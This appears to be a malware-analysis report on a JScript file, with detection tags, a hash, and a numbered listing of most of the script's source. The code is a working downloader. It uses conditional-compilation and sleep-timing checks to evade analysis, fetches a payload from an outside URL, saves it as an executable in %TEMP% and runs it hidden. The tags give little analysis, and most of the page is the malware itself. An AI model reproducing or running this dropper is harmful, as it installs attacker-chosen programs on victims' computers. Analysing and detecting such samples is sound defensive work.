20160328_db2358857f85b8a739698634bbf17b72.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256d0b68f2fac11e7a0678f5d2b02e092328227310d32b9286c0ae744609a77e8a9
Evidence
1var Qgoiqmpfcr = false;
2var Ycpliwm = "CreateObject";
3var Hczwyi = function Zcfpoalj() {return WScript[Ycpliwm]("WScript.Shell");}();
4var Oxvxykmga = 123213;
5var Ropcw = "MSXML2.XMLHTTP";
6var Plcmw = 2123213;
7var Vuqqgjhn = 0;
8function Xnbjx(Eyqgfj){Hczwyi["Run"](Eyqgfj, Vuqqgjhn, Vuqqgjhn);};
9function Tueuk(){return Ropcw;};
10function Wfmxyh(Madwpmnp, Kopeioan){return Madwpmnp - Kopeioan;};
11function Wrjjswvwmn(){return Ycpliwm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Qgoiqmpfcr = true;
15 @end
16@*/
17var Ylcefl = "";
18if (Qgoiqmpfcr)
19{
20function Tlvwwzmrb(){return 22;};
21var Bzskzlbm = 0; var Nhrhrphtkc = 0;
22function Glugf()
23{
24var Ugdbctlqi = new this["Date"]();
25var Nbqwspu = Ugdbctlqi["getUTCMilliseconds"]();
26WScript["Sleep"](Tlvwwzmrb());
27var Ugdbctlqi = new this["Date"]();
28var Yorhyld = Ugdbctlqi["getUTCMilliseconds"]();
29WScript["Sleep"](Tlvwwzmrb());
30var Ugdbctlqi = new this["Date"]();
31var Tnipdvxt = Ugdbctlqi["getUTCMilliseconds"]();
32var Bzskzlbm = "Iqizxttw";
33Bzskzlbm = Wfmxyh(Yorhyld, Nbqwspu);
34var Nhrhrphtkc = "Vyhua";
35Nhrhrphtkc = Wfmxyh(Tnipdvxt, Yorhyld);
36Ylcefl = "open";
37return Wfmxyh(Bzskzlbm, Nhrhrphtkc);
38}
39var Mtfdpr = false;
40var Szvhix = false;
41for (var Ccuwroejk = Vuqqgjhn; Ccuwroejk < Tlvwwzmrb() * 1; Ccuwroejk++){if (Glugf() != Vuqqgjhn){
42M …
48:86…
49if (Mtfdpr && Udnedc() && Szvhix){
50function Xvzsfow() {return Hczwyi["ExpandEnvironmentStrings"]("%TEMP%/") + "MTzNxxXSB.exe";};
51 Njwcjsj = Tueuk();
52 Bdutj = WScript[Ycpliwm](Njwcjsj);
53 var Quqfhk = 1;
54 while (Quqfhk){
55try {
56Bdutj[Ylcefl]("GET", "http://2biking.com/k4isfa", false);
57Bdutj["send"]();
58Qubxmxai = "Sleep";
59do {WScript[Qubxmxai](Tlvwwzmrb() * 11)} while (Bdutj["readystate"] < 4 );
60Quqfhk = Vuqqgjhn;
61} catch(Gppxvf){Quqfhk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Mmlbzo(Nwoqwrpty) {var Oamlk = (1, 2, 3, 4, 5, Nwoqwrpty); return Oamlk;};
64Gatabmrhyq = WScript[Wrjjswvwmn()]("ADODB.Stream");
65Njwcjsj = Gatabmrhyq;
66Njwcjsj[Ylcefl]();
67Njwcjsj["type"] = Mmlbzo(1);
68Njwcjsj["write"](Bdutj["ResponseBody"]);
69Gatabmrhyq["position"] = Mmlbzo(Vuqqgjhn);
70Njwcjsj["SaveToFile"](Xvzsfow(), Mmlbzo(2) );
71Gatabmrhyq["close"]();
72Xnbjx(Xvzsfow());
73}
74}
75